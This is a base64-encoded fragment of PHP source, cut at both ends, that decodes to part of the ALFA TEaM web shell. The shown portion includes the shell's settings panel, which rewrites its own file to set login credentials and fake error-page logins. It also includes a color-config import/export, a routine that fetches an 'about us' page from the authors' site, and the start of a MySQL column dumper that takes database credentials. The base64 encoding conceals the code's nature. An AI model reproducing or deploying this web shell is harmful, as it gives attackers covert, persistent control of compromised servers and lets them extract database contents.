B0eSgkZGF0YSkpewppZigkZGF0YVsic3RhdHVzIl0gPT0gIm9wZW4iKXsKCWVjaG8gJGRhdGFbImNvbnRlbnQiXTsKfWVsc2V7CgllY2hvICRkYXRhWyJlcnJvcl9tc2ciXTsKfQp9ZWxzZXsKCWVjaG8gIjxkaXYgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtc2l6ZToyMHB4Oyc+Q2FudCBjb25uZWN0IHRvIHRoZSBhbGZhIG1hcmtldC4uLi4hIHRyeSBsYXRlci48L2Rpdj4iOwp9CmVjaG8gIjwvZGl2PiI7Cn0KZnVuY3Rpb24gYWxmYVNldHRpbmdzKCl7CmFsZmFoZWFkKCk7CkFsZmFOdW0oNiw3LDgsOSwxMCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU2V0dGluZ3MgfDwvZGl2PjwvcD48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NldHRpbmdzXCcsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwnbWFpblwnKSI+fCBHZW5lcmFsbCBTZXR0aW5nIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsKaWYoJF9QT1NUWyJhbGZhOCJdID09ICJtYWluIil7CmVjaG8gJzxwPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU2V0dGluZ3MgfDwvZGl2PjwvcD48Zm9ybSBvblN1Ym1pdD0icmVsb2FkU2V0dGluZyh0aGlzKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9XCdwb3N0XCc+JzsKJGxnX2FycmF5ID0gYXJyYXkoJzAnPT4nTm8nLCcxJz0+J1llcycpOwokcGVuY19hcnJheSA9IGFycmF5KCdmYWxzZSc9PidObycsJ3RydWUnPT4nWWVzJyk7CiRwcm90ZWN0X2h0bWwgPSAiIjsKJGljb25faHRtbCA9ICIiOwokcG9zdEVuY19odG1sID0gIiI7CiRsb2dpbl9odG1sID0gIiI7CiRjZ2lhcGlfaHRtbCA9ICIiOwpmb3JlYWNoKCRsZ19hcnJheSBhcyAka2V5PT4kdmFsKSRwcm90ZWN0X2h0bWwgLj0gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIiAnLigkR0xPQkFMU1snREJfTkFNRSddWydzYWZlbW9kZSddPT0nMSc/J3NlbGVjdGVkJzonJykuJz4nLiR2YWwuJzwvb3B0aW9uPic7CmZvcmVhY2goJGxnX2FycmF5IGFzICRrZXk9PiR2YWwpJGljb25faHRtbCAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciICcuKCRHTE9CQUxTWydEQl9OQU1FJ11bJ3Nob3dfaWNvbnMnXT09JzEnPydzZWxlY3RlZCc6JycpLic+Jy4kdmFsLic8L29wdGlvbj4nOwpmb3JlYWNoKCRwZW5jX2FycmF5IGFzICRrZXk9PiR2YWwpJGNnaWFwaV9odG1sIC49ICc8b3B0aW9uIHZhbHVlPSInLiRrZXkuJyIgJy4oIWVtcHR5KCRfUE9TVFsnYWxmYTknXSkmJiRfUE9TVFsnYWxmYTknXT09JGtleT8ic2VsZWN0ZWQiOigkR0xPQkFMU1siREJfTkFNRSJdWyJjZ2lfYXBpIl0mJmVtcHR5KCRfUE9TVFsnYWxmYTknXSk/J3NlbGVjdGVkJzonJykpLic+Jy4kdmFsLic8L29wdGlvbj4nOwpmb3JlYWNoKCRwZW5jX2FycmF5IGFzICRrZXk9PiR2YWwpJHBvc3RFbmNfaHRtbCAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciICcuKCFlbXB0eSgkX1BPU1RbJ2FsZmE3J10pJiYkX1BPU1RbJ2FsZmE3J109PSRrZXk/InNlbGVjdGVkIjooX19BTEZBX1BPU1RfRU5DUllQVElPTl9fJiZlbXB0eSgkX1BPU1RbJ2FsZmE3J10pPydzZWxlY3RlZCc6JycpKS4nPicuJHZhbC4nPC9vcHRpb24+JzsKJGxnX2FycmF5ID0gYXJyYXkoImd1aSI9PiJHVUkiLCI1MDAiPT4iNTAwIEludGVybmFsIFNlcnZlciBFcnJvciIsIjQwMyI9PiI0MDMgRm9yYmlkZGVuIiwiNDA0Ij0+IjQwNCBOb3RGb3VuZCIpOwpmb3JlYWNoKCRsZ19hcnJheSBhcyAka2V5PT4kdmFsKSRsb2dpbl9odG1sIC49ICc8b3B0aW9uIHZhbHVlPSInLiRrZXkuJyIgJy4oJEdMT0JBTFNbJ0RCX05BTUUnXVsnbG9naW5fcGFnZSddPT0ka2V5PydzZWxlY3RlZCc6JycpLic+Jy4kdmFsLic8L29wdGlvbj4nOwplY2hvICcnOwplY2hvICc8dGFibGUgYm9yZGVyPSIxIj48dGJvZHk+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5Qcm90ZWN0OjwvZGl2PjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT0icHJvdGVjdCIgc3R5bGU9IndpZHRoOjEwMCU7Ij4nLiRwcm90ZWN0X2h0bWwuJzwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkPjxkaXYgY2xhc3M9InRibHR4dCIgc3R5bGU9ImNvbG9yOiNGRkZGRkYiPkNnaSBBcGk6PC9kaXY+PC90ZD48dGQ+PHNlbGVjdCBuYW1lPSJjZ2lfYXBpIiBzdHlsZT0id2lkdGg6MTAwJTsiPicuJGNnaWFwaV9odG1sLic8L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5Qb3N0IEVuY3J5cHRpb246PC9kaXY+PC90ZD48dGQ+PHNlbGVjdCBuYW1lPSJwb3N0X2VuY3J5cHQiIHN0eWxlPSJ3aWR0aDoxMDAlOyI+Jy4kcG9zdEVuY19odG1sLic8L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5TaG93IEljb25zOjwvZGl2PjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT0iaWNvbiIgc3R5bGU9IndpZHRoOjEwMCU7Ij4nLiRpY29uX2h0bWwuJzwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5sb2dpbiBQYWdlOjwvZGl2PjwvdGQ+PHRkPjxzZWxlY3Qgc3R5bGU9IndpZHRoOjEwMCU7IiBuYW1lPSJsZ3BhZ2UiPicuJGxvZ2luX2h0bWwuJzwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkPjxkaXYgY2xhc3M9InRibHR4dCIgc3R5bGU9ImNvbG9yOiNGRkZGRkYiPlVzZXJOYW1lOjwvZGl2PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6OTUlOyIgbmFtZT0idXNlcm5hbWUiIHZhbHVlPSInLihlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pPyRHTE9CQUxTWydEQl9OQU1FJ11bJ3VzZXInXTokX1BPU1RbJ2FsZmEzJ10pLiciIHBsYWNlaG9sZGVyPSJzb2xldmlzaWJsZSI+PC90ZD48L3RyPjx0cj48dGQ+PGRpdiBjbGFzcz0idGJsdHh0IiBzdHlsZT0iY29sb3I6I0ZGRkZGRiI+UGFzc3dvcmQ6PC9kaXY+PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDo5NSU7IiBuYW1lPSJwYXNzd29yZCIgcGxhY2Vob2xkZXI9IioqKioqIj48L3RkPjwvdHI+PC90Ym9keT48L3RhYmxlPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImUiIHZhbHVlPSInLiRHTE9CQUxTWydEQl9OQU1FJ11bJ3NhZmVtb2RlJ10uJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icyIgdmFsdWU9IicuJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddLiciPjxwPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ0biIgdmFsdWU9IiAiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKaWYoJF9QT1NUWydhbGZhNSddPT0nPj4nKXsKZWNobyBfX3ByZSgpOwppZighZW1wdHkoJF9QT1NUWydhbGZhMyddKSl7CiRwcm90ZWN0ID0gJF9QT1NUWydhbGZhMSddOwokbGdwYWdlID0gJF9QT1NUWydhbGZhMiddOwokdXNlcm5hbWUgPSAkX1BPU1RbJ2FsZmEzJ107CiRwYXNzd29yZCA9IG1kNSgkX1BPU1RbJ2FsZmE0J10pOwokaWNvbiA9ICRfUE9TVFsnYWxmYTYnXTsKJHBvc3RfZW5jcnlwdCA9ICRfUE9TVFsnYWxmYTcnXTsKJGNnaV9hcGlfdmFsID0gJF9QT1NUWydhbGZhOSddOwpAY2hkaXIoJEdMT0JBTFNbJ2hvbWVfY3dkJ10pOwokYmFzZW5hbWUgPSBAYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOwokZGF0YSA9IEBmaWxlX2dldF9jb250ZW50cygkYmFzZW5hbWUpOwokdXNlcl9yYW5kID0gJEdMT0JBTFNbIkRCX05BTUUiXVsidXNlcl9yYW5kIl07CiRwYXNzX3JhbmQgPSAkR0xPQkFMU1siREJfTkFNRSJdWyJwYXNzX3JhbmQiXTsKJGxvZ2luX3BhZ2VfcmFuZCA9ICRHTE9CQUxTWyJEQl9OQU1FIl1bImxvZ2luX3BhZ2VfcmFuZCJdOwokc2FmZW1vZGVfcmFuZCA9ICRHTE9CQUxTWyJEQl9OQU1FIl1bInNhZmVtb2RlX3JhbmQiXTsKJHNob3dfaWNvbnNfcmFuZCA9ICRHTE9CQUxTWyJEQl9OQU1FIl1bInNob3dfaWNvbnNfcmFuZCJdOwokcG9zdF9lbmNyeXB0aW9uX3JhbmQgPSAkR0xPQkFMU1siREJfTkFNRSJdWyJwb3N0X2VuY3J5cHRpb25fcmFuZCJdOwokY2dpX2FwaV9yYW5kID0gJEdMT0JBTFNbIkRCX05BTUUiXVsiY2dpX2FwaV9yYW5kIl07CiRmaW5kX3VzZXIgPSAnL1wnJy4kdXNlcl9yYW5kLidcJyguKj8pLC9pJzsKJGZpbmRfcHcgPSAnL1wnJy4kcGFzc19yYW5kLidcJyguKj8pLC9pJzsKJGZpbmRfbGcgPSAnL1wnJy4kbG9naW5fcGFnZV9yYW5kLidcJyguKj8pLC9pJzsKJGZpbmRfcCA9ICcvXCcnLiRzYWZlbW9kZV9yYW5kLidcJyguKj8pLC9pJzsKJGljb25zID0gJy9cJycuJHNob3dfaWNvbnNfcmFuZC4nXCcoLio/KSwvaSc7CiRwb3N0RW5jID0gJy9cJycuJHBvc3RfZW5jcnlwdGlvbl9yYW5kLidcJyguKj8pLC9pJzsKJGNnaV9hcGlfcmVnID0gJy9cJycuJGNnaV9hcGlfcmFuZC4nXCcoLio/KSwvaSc7CmlmKCFlbXB0eSgkdXNlcm5hbWUpJiZwcmVnX21hdGNoKCRmaW5kX3VzZXIsJGRhdGEsJGUpKXsKJG5ldyA9ICdcJycuJHVzZXJfcmFuZC4nXCcgPT4gXCcnLiR1c2VybmFtZS4nXCcsJzsKJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsKfQppZighZW1wdHkoJF9QT1NUWydhbGZhNCddKSYmcHJlZ19tYXRjaCgkZmluZF9wdywkZGF0YSwkZSkpewokbmV3ID0gJ1wnJy4kcGFzc19yYW5kLidcJyA9PiBcJycuJHBhc3N3b3JkLidcJywnOwokZGF0YSA9IHN0cl9yZXBsYWNlKCRlWzBdLCRuZXcsJGRhdGEpOwp9CmlmKCFlbXB0eSgkbGdwYWdlKSYmcHJlZ19tYXRjaCgkZmluZF9sZywkZGF0YSwkZSkpewokbmV3ID0gJ1wnJy4kbG9naW5fcGFnZV9yYW5kLidcJyA9PiBcJycuJGxncGFnZS4nXCcsJzsKJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsKfQppZighZW1wdHkoJGZpbmRfcCkmJnByZWdfbWF0Y2goJGZpbmRfcCwkZGF0YSwkZSkpewokbmV3ID0gJ1wnJy4kc2FmZW1vZGVfcmFuZC4nXCcgPT4gXCcnLiRwcm90ZWN0LidcJywnOwokZGF0YSA9IHN0cl9yZXBsYWNlKCRlWzBdLCRuZXcsJGRhdGEpOwp9CmlmKHByZWdfbWF0Y2goJGljb25zLCRkYXRhLCRlKSl7CiRuZXcgPSAnXCcnLiRzaG93X2ljb25zX3JhbmQuJ1wnID0+IFwnJy4kaWNvbi4nXCcsJzsKJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsKfQppZihwcmVnX21hdGNoKCRwb3N0RW5jLCRkYXRhLCRlKSl7CiRuZXcgPSAnXCcnLiRwb3N0X2VuY3J5cHRpb25fcmFuZC4nXCcgPT4gJy4kcG9zdF9lbmNyeXB0LicsJzsKJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsKfQppZihwcmVnX21hdGNoKCRjZ2lfYXBpX3JlZywkZGF0YSwkZSkpewokbmV3ID0gJ1wnJy4kY2dpX2FwaV9yYW5kLidcJyA9PiAnLiRjZ2lfYXBpX3ZhbC4nLCc7CiRkYXRhID0gc3RyX3JlcGxhY2UoJGVbMF0sJG5ldywkZGF0YSk7Cn0KaWYoQGZpbGVfcHV0X2NvbnRlbnRzKCRiYXNlbmFtZSwkZGF0YSkpewplY2hvICc8Yj5Vc2VyTmFtZTogPC9iPjxmb250IGNvbG9yPSJncmVlbiI+PGI+Jy4kdXNlcm5hbWUuJzwvYj48L2ZvbnQ+PGJyIC8+PGI+UGFzc3dvcmQ6IDwvYj48Zm9udCBjb2xvcj0iZ3JlZW4iPjxiPicuJF9QT1NUWydhbGZhNCddLic8L2I+PC9mb250PjxzY3JpcHQ+cG9zdF9lbmNyeXB0aW9uX21vZGUgPSAnLiRwb3N0X2VuY3J5cHQuJzs8L3NjcmlwdD4nOwp9ZWxzZXsKX19hbGVydCgiPHNwYW4gc3R5bGU9J2NvbG9yOnJlZDsnPkZpbGUgaGFzIG5vIGVkaXQgYWNjZXNzLi4uITwvc3Bhbj4iKTsKfQp9ZWxzZXsKX19hbGVydCgiPHNwYW4gc3R5bGU9J2NvbG9yOnJlZDsnPlVzZXJOYW1lIGlzIEVtcHR5ICE8L3NwYW4+Iik7Cn0KfQp9ZWxzZWlmKCRfUE9TVFsiYWxmYTgiXSA9PSAiY29sb3IiKXsKZWNobygnPGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBDdXN0b20gQ29sb3IgfDwvZGl2PjwvcD48Zm9ybSBvblN1Ym1pdD0icmVsb2FkQ29sb3JzKCk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPVwncG9zdFwnPicpOwplY2hvICc8dGFibGUgYm9yZGVyPSIxIj48dGJvZHk+JzsKJHRlbXBsYXRlID0gJzx0cj48dGQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+PGEgaHJlZj0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9jdXN0b21jb2xvcnMve2hlbHB9LnBuZyIgdGFyZ2V0PSJfYmxhbmsiPjxmb250IGNvbG9yPSIjMDBGRjAwIj5IZWxwPC9mb250PjwvYT48L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48ZGl2IGNsYXNzPSJ0Ymx0eHQiPntpbmRleH08L2Rpdj48L3RkPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJtYXJnaW4tbGVmdDo1cHg7Ij57dGFyZ2V0fTo8L2Rpdj48L3RkPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjYwcHg7IiBtdWx0aT0ie211bHRpfSIgaWQ9Imd1aV97dGFyZ2V0fSIgb25DaGFuZ2U9ImNvbG9ySGFuZGxlcih0aGlzKTsiIHRhcmdldD0iLnt0YXJnZXR9IiB0eXBlPSJjb2xvciIgdmFsdWU9Intjb2xvcn0iPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7IiBtdWx0aT0ie211bHRpfSIgb25rZXl1cD0iY29sb3JIYW5kbGVyS2V5KHRoaXMpOyIgdGFyZ2V0PSIue3RhcmdldH0iIGlkPSJpbnB1dF97dGFyZ2V0fSIgY2xhc3M9ImNvbG9yc19pbnB1dCIgcGxhY2Vob2xkZXI9IiNmZmZmZmYiIHZhbHVlPSJ7Y29sb3J9Ij48L3RkPjwvdHI+JzsKJHggPSAxOwpmb3JlYWNoKCRHTE9CQUxTWydfX0FMRkFfQ09MT1JfXyddIGFzICRrZXkgPT4gJHZhbHVlKXsKCSRtdWx0aSA9ICIiOwoJaWYoaXNfYXJyYXkoJHZhbHVlKSl7CgkJaWYoaXNzZXQoJHZhbHVlWyJtdWx0aV9zZWxlY3RvciJdKSl7CgkJCSRtdWx0aSA9IF9fWlc1amIyUmxjZyhqc29uX2VuY29kZSgkdmFsdWUpKTsKCQl9Cgl9CgkkdmFsdWUgPSBhbGZhX2dldENvbG9yKCRrZXkpOwoJJGhlbHAgPSBzdHJ0b2xvd2VyKHN0cl9yZXBsYWNlKGFycmF5KCI6IiwgIisiKSwgYXJyYXkoIl8iLCAiX3BsdXMiKSwgJGtleSkpOwoJZWNobyBzdHJfcmVwbGFjZShhcnJheSgie2luZGV4fSIsICJ7dGFyZ2V0fSIsICJ7Y29sb3J9IiwgInttdWx0aX0iLCAie2hlbHB9IiksIGFycmF5KCR4KyssICRrZXksICR2YWx1ZSwgJG11bHRpLCAkaGVscCksICR0ZW1wbGF0ZSk7Cn0KZWNobyAnPHRyPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij4tPC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+PGRpdiBjbGFzcz0idGJsdHh0Ij4qPC9kaXY+PC90ZD48dGQ+PGRpdiBzdHlsZT0ibWFyZ2luLWxlZnQ6NXB4OyIgY2xhc3M9InRibHR4dCI+VXNlIERlZmF1bHQgQ29sb3I6PC9kaXY+PC90ZD48dGQ+PC90ZD48dGQ+PGNlbnRlcj48aW5wdXQgdHlwZT0iY2hlY2tib3giIGlkPSJ1c2VfZGVmYXVsdF9jb2xvciIgdmFsdWU9IjEiPjwvY2VudGVyPjwvdGQ+PC90cj4nOwoKZWNobyAnPC90Ym9keT48L3RhYmxlPjxwPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ0biIgdmFsdWU9IiAiPjwvcD48L2Zvcm0+PHA+PGJ1dHRvbiBzdHlsZT0icGFkZGluZzo0cHg7O21hcmdpbi1yaWdodDoyMHB4OyIgb25jbGljaz0iJChcJ2ltcG9ydEZpbGVCdG5cJykuY2xpY2soKTsiIGNsYXNzPSJidXR0b24iPiBJbXBvcnQgPC9idXR0b24+IDxidXR0b24gc3R5bGU9InBhZGRpbmc6NHB4O21hcmdpbi1sZWZ0OjIwcHg7IiBvbmNsaWNrPSJnKFwnc2V0dGluZ3NcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwnZXhwb3J0XCcsXCdjb2xvclwnKSIgY2xhc3M9ImJ1dHRvbiI+IEV4cG9ydCA8L2J1dHRvbj48L2NlbnRlcj48L3A+JzsKaWYoJF9QT1NUWydhbGZhNyddPT0nZXhwb3J0Jyl7CgllY2hvIF9fcHJlKCk7CgkkY29sb3JzID0gaXNfYXJyYXkoJEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXSk/JEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXTphcnJheSgpOwoJJGdsb2JfY29sb3JzID0gJEdMT0JBTFNbIl9fQUxGQV9DT0xPUl9fIl07CgkkYXJyYXkgPSBhcnJheSgpOwoJZm9yZWFjaCgkZ2xvYl9jb2xvcnMgYXMgJGsgPT4gJHYpewoJCWlmKGlzc2V0KCRjb2xvcnNbJGtdKSYmIWVtcHR5KCRjb2xvcnNbJGtdKSYmISRpc19kZWZhdWx0KXsKCQkJJHYgPSB0cmltKCRjb2xvcnNbJGtdKTsKCQl9ZWxzZXsKCQkJJHYgPSB0cmltKGlzX2FycmF5KCR2KT8kdlsia2V5X2NvbG9yIl06JHYpOwoJCX0KCQkkYXJyYXlbJGtdID0gJHY7Cgl9CgkkZmlsZSA9ICJhbGZhX2NvbG9yX2NvbmZpZ18iLmRhdGUoJ1ktbS1kLWhfaV9zJykuIi5jb25mIjsKCSRjb25maWcgPSBqc29uX2VuY29kZSgkYXJyYXksIEpTT05fUFJFVFRZX1BSSU5UKTsKCWlmKCFAZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRjb25maWcpKXsKCQllY2hvKCc8cD48Y2VudGVyPkNvbG9yIENvbmZpZzo8YnI+PGJyPjx0ZXh0YXJlYSByb3dzPSIxMiIgY29scz0iNzAiIHR5cGU9InRleHQiPicuJGNvbmZpZy4nPC90ZXh0YXJlYT48L2NlbnRlcj48L3A+Jyk7Cgl9ZWxzZXsKCQllY2hvKCc8aDM+PHA+PGNlbnRlcj48YSBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy4kZmlsZS4nXCcsIFwnZG93bmxvYWRcJykiPjxmb250IGNvbG9yPSIjMEYwIj5Eb3dubG9hZCBDb25maWc8L2ZvbnQ+PC9hPjwvY2VudGVyPjwvcD48L2gzPicpOwoJfQp9CmlmKCRfUE9TVFsnYWxmYTInXT09Jz4+Jyl7CgllY2hvIF9fcHJlKCk7CgkkY29sb3JzID0ganNvbl9kZWNvZGUoJF9QT1NUWyJhbGZhMSJdLHRydWUpOwoJJGFycmF5ID0gIiI7CgkkaXNfZGVmYXVsdCA9IGlzc2V0KCRfUE9TVFsiYWxmYTMiXSkmJiRfUE9TVFsiYWxmYTMiXT09IjEiP3RydWU6ZmFsc2U7CgkkZ2xvYl9jb2xvcnMgPSAkR0xPQkFMU1siX19BTEZBX0NPTE9SX18iXTsKCWZvcmVhY2goJGdsb2JfY29sb3JzIGFzICRrID0+ICR2KXsKCQlpZihpc3NldCgkY29sb3JzWyRrXSkmJiFlbXB0eSgkY29sb3JzWyRrXSkmJiEkaXNfZGVmYXVsdCl7CgkJCSR2ID0gdHJpbSgkY29sb3JzWyRrXSk7CgkJfWVsc2V7CgkJCSR2ID0gdHJpbShpc19hcnJheSgkdik/JHZbImtleV9jb2xvciJdOiR2KTsKCQl9CgkJJGFycmF5IC49ICciJy50cmltKCRrKS4nIiA9PiAiJy4kdi4nIiwnOwoJfQoJQGNoZGlyKCRHTE9CQUxTWydob21lX2N3ZCddKTsKCSRiYXNlbmFtZSA9IEBiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7CgkkZGF0YSA9IEBmaWxlX2dldF9jb250ZW50cygkYmFzZW5hbWUpOwoJJGNvbG9yID0gJy9cJ2NvbG9yXCcoLio/KVwpLC9zJzsKCWlmKHByZWdfbWF0Y2goJGNvbG9yLCRkYXRhLCRlKSl7CgkJJG5ldyA9ICInY29sb3InID0+IGFycmF5KCIuJGFycmF5LiIpLCI7CgkJJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsKCQlpZihAZmlsZV9wdXRfY29udGVudHMoJGJhc2VuYW1lLCAkZGF0YSkpewoJCQllY2hvKCI8Y2VudGVyPjxwPjxoMz5bK10gU3VjY2Vzcy4uLjwvaDM+PC9wPjwvY2VudGVyPjxzY3JpcHQ+bG9jYXRpb24ucmVsb2FkKCk7PC9zY3JpcHQ+Iik7CgkJfWVsc2V7CgkJCWVjaG8oIjxjZW50ZXI+PHA+PGgzPlstXSBXZSBOb3QgaGF2ZSBwZXJtaXNzaW9uIHRvIEVkaXQgc2hlbGwuLi4hPC9oMz48L3A+PC9jZW50ZXI+Iik7CgkJfQoJfWVsc2V7CgkJZWNobygiPGNlbnRlcj48cD48aDM+Wy1dIEVycm9yLi4uITwvaDM+PC9wPjwvY2VudGVyPiIpOwoJfQp9Cn0KZWNobygnPC9kaXY+Jyk7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhYWJvdXR1cygpewphbGZhaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPSJoZWFkZXIiPic7CiRuZXdzID0gbmV3IEFsZmFDVVJMKCk7CiRhYm91dF91cyA9ICRuZXdzLT5TZW5kKCJodHRwOi8vc29sZXZpc2libGUuY29tL2Fib3V0dXMucGhwIik7CmlmKGVtcHR5KCRhYm91dF91cykpewokYWJvdXRfdXMgPSAiPHByZT48Y2VudGVyPjxpbWcgc3JjPSdodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9mYXJ2YWhhci1pcmFuLnBuZyc+PGJyPgo8Yj48Zm9udCBzaXplPScrMycgY29sb3I9JyMwMEEyMjAnPiYjOTc3NDsgfiBQRUFDRSB+ICYjOTc3NDs8L2ZvbnQ+PGJyPjxiPgo8Zm9udCBjb2xvcj0nIzAwQTIyMCc+U2hlbGwgQ29kZWQgQnkgU29sZSBTYWQgJiBJbnZpc2libGUgKEFMRkEgVEVhTSk8L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0nIzAwQTIyMCc+Q29udGFjdCA6IHNvbGV2aXNpYmxlQGdtYWlsLmNvbTwvZm9udD48YnI+Cjxmb250IGNvbG9yPScjMDBBMjIwJz5UZWxlZ3JhbSBDaGFubmVsOiBAc29sZXZpc2libGU8L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0nI0ZGRkZGRic+U2t5cGUgOiBlaHNhbi5pbnZpc2libGU8L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0nI0ZGRkZGRic+U2t5cGUgOiBzb2xlLnNhZDwvZm9udD48YnI+Cjxmb250IGNvbG9yPScjRkYwMDAwJz5QZXJzaWFuIEd1bGYgRm9yIEV2ZXI8L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+SXJhbmlhbiBQcm9ncmFtbWVyczwvZm9udD48YnI+Cjxmb250IGNvbG9yPScjRkYwMDAwJz4jIyMjIyMjIyMjIyM8L2ZvbnQ+PGJyPgo8L2NlbnRlcj48L3ByZT48aWZyYW1lIHNyYz0ndGc6Ly9yZXNvbHZlP2RvbWFpbj1zb2xldmlzaWJsZScgZnJhbWVib3JkZXI9JzAnIHdpZHRoPScwJyBoZWlnaHQ9JzAnPjwvaWZyYW1lPiI7Cn0KZWNobyBfX3ByZSgpLiRhYm91dF91czsKZWNobygnPC9kaXY+Jyk7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhY29sZHVtcGVyKCl7CmFsZmFoZWFkKCk7CmVjaG8oJzxkaXYgY2xhc3M9ImhlYWRlciI+Jyk7CkFsZmFOdW0oOCw5LDEwKTsKZWNobyAiPGNlbnRlcj48YnI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgTXlzcWwgQ29sdW1uIER1bXBlciB8PC9kaXY+PGJyPjxicj4iLmdldENvbmZpZ0h0bWwoJ2FsbCcpLiI8Zm9ybSBtZXRob2Q9J3Bvc3QnIG9uc3VibWl0PVwidmFyIG9wdF9pZD10aGlzLmdldEF0dHJpYnV0ZSgnb3B0X2lkJyk7dmFyIGRlbGltaXRlcj0nanNvbic7dHJ5e2lmKCQoJ2R1bXBlci1kZWxpbWl0ZXItdHlwZScpLnZhbHVlID09ICdkZWxpbWl0ZXInKWRlbGltaXRlcj0kKCdkdW1wZXItZGVsaW1pdGVyLWlucHV0JykudmFsdWV9Y2F0Y2goZSl7fTtnKCdjb2xkdW1wZXInLG51bGwsZGVsaW1pdGVyLEpTT04uc3RyaW5naWZ5KGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVtvcHRfaWRdKSx0aGlzLmRiX3VzZXJuYW1lLnZhbHVlLHRoaXMuZGJfcGFzc3dvcmQudmFsdWUsdGhpcy5kYl9uYW1lLnZhbHVlLHRoaXMuZGZpbGUudmFsdWUsdGhpcy5kYl9ob3N0LnZhbHVlKTsgY29sX2R1bXBlcl9zZWxlY3RlZF9kYXRhW29wdF9pZF0gPSB7fTtyZXR1cm4gZmFsc2U7XCI+PHA+IjsKJGRlbGltaXRlciA9ICghZW1wdHkoJF9QT1NUWydhbGZhMSddKSA/ICRfUE9TVFsnYWxmYTEnXSA6ICc6OicpOwokc2VsZWN0ZWRfZGF0YSA9IGpzb25fZGVjb2RlKCRfUE9TVFsnYWxmYTInXSwgdHJ1ZSk7CiR1c2VybmFtZSA9ICgkX1BPU1RbJ2FsZmEzJ10pOwokcGFzc3dvcmQgPSAoJF9QT1NUWydhbGZhNCddKTsKJGRibmFtZSA9ICgkX1BPU1RbJ2FsZmE1J10pOwokZGZpbGUgPSAoJF9QT1NUWydhbGZhNiddKTsKJGhvc3QgPSAoJF9QT1NUWydhbGZhNyddKTsKJHRhYmxlID0gY